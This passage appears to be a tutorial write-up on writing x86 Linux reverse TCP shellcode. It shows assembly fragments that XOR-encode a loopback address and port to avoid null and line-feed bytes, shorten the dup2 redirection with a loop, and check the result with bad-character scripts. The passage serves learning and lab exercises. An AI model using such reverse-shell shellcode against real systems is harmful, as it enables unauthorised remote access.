After getting rid of the null-bytes, we can use the shellcode to compile it for C.
Compiling modified ASM file:
$ ../compile_asm.sh rev_tcp_initial_nonull
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Checking for null bytes, carriage-return, line-feed:
Comparing the previous ASM file with the new one gives no null-bytes as result. However, a 0x0a character will be interpreted as a Line Feed character which could break shellcode.
Characters such as 0x0a, 0x0d and 0x00 often may break shellcode due to resp. Line Feed, Carriage Return and null-byte characters. Although shellcode would then be lesser prone to break, the length usually increases as instructions are added to mitigate the occurrence of these characters.
Old ASM file with null-bytes
$ ../convert_bin_sc.sh rev_tcp_initial | egrep -o '\\x00|\\x0a|\\x0d' | uniq
\x00
\x0a
\x00
$
ASM file without null-bytes
$ ../convert_bin_sc.sh rev_tcp_initial_nonull | egrep -o '\\x00|\\x0a|\\x0d' | uniq
\x0a
$
Checking 0x0a:
An objdump command returns the instruction pushing the portnumber 6666 on the stack (push 0x0a1a)
8048073: 68 7f 01 01 01 push 0x101017f
8048078: 66 68 1a 0a pushw 0xa1a
Mitigating instructions:
To bypass the 0x0a instruction, numerous solutions exist to mitigate these characters. Whilst this solution may be far from pretty or short, it does bypass the 0x0a character.
The modified instructions push a to-be-XOR’ed value on the stack, to be put in EDI (or any other temporary non-used register). Then, the value is being negated and pushed back on the stack, to be able to read the port value by the function call.
Original instructions:
push esi ; Still being empty, terminate the string
push 0x0101017f ; Local address "127.1.1.1"
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp ; Save pointer to sockaddr_in structure
Modified instructions:
inc ebx ; EBX increased to 2 for AF_INET
; push esi ; Still being empty, terminate the string; obsolete
push 0x0101017f ; "127.1.1.1"
push word 0xf5e5 ; 6666 = 0a1a for port, to be XOR'ed value
pop di ; Populate DI of EDI with value to be XOR'ed port number
xor di, 0xffff ; XOR port value
push di ; Push DI to stack
push word bx ; AF_INET 2
mov ecx, esp ; Save pointer to sockaddr_in structure
Recompile and recheck for the 0x0a character
Recompiling and rechecking doesn’t return any CRLF or NULL-byte characters.
$ ../compile_asm.sh rev_tcp_initial_nonull-opt
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ ../check_badchars.sh rev_tcp_initial_nonull-opt
[+] Checking ...
[+] Done!
Saving some bytes with loops:
Whilst having multiple instructions for dup2 that seem alike, it would be nice if we could save a few bytes or more. One possibility I found out is looping and iterating the loop, keeping track of the counter in ECX.
This way the entire call for dup2 loops with minimal instructions, decrementing from 2 to 0 for the three STDERR/STDIN/STDOUT calls.
Old code:
; STDIN
mov al, 63 ; syscall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
xchg ebx, edx ; The used Client FD stored previously in EDX, using xchg saving a byte
mov ecx, esi ; Still being NULL ESI, put 0
int 0x80 ; Syscall
; STDOUT
mov al, 63 ; syscall, dup2
inc cl ; Put 1 in ECX
int 0x80 ; Syscall
; STDERR
mov al, 63 ; syscall, dup2
inc cl ; Put 2 in ECX
int 0x80 ; Syscall, calling with arguments
Improved code:
; Prepare loop
push 2
pop ecx ; For counting
xchg ebx, edx
loop:
mov al, 63
int 0x80
dec ecx
jns loop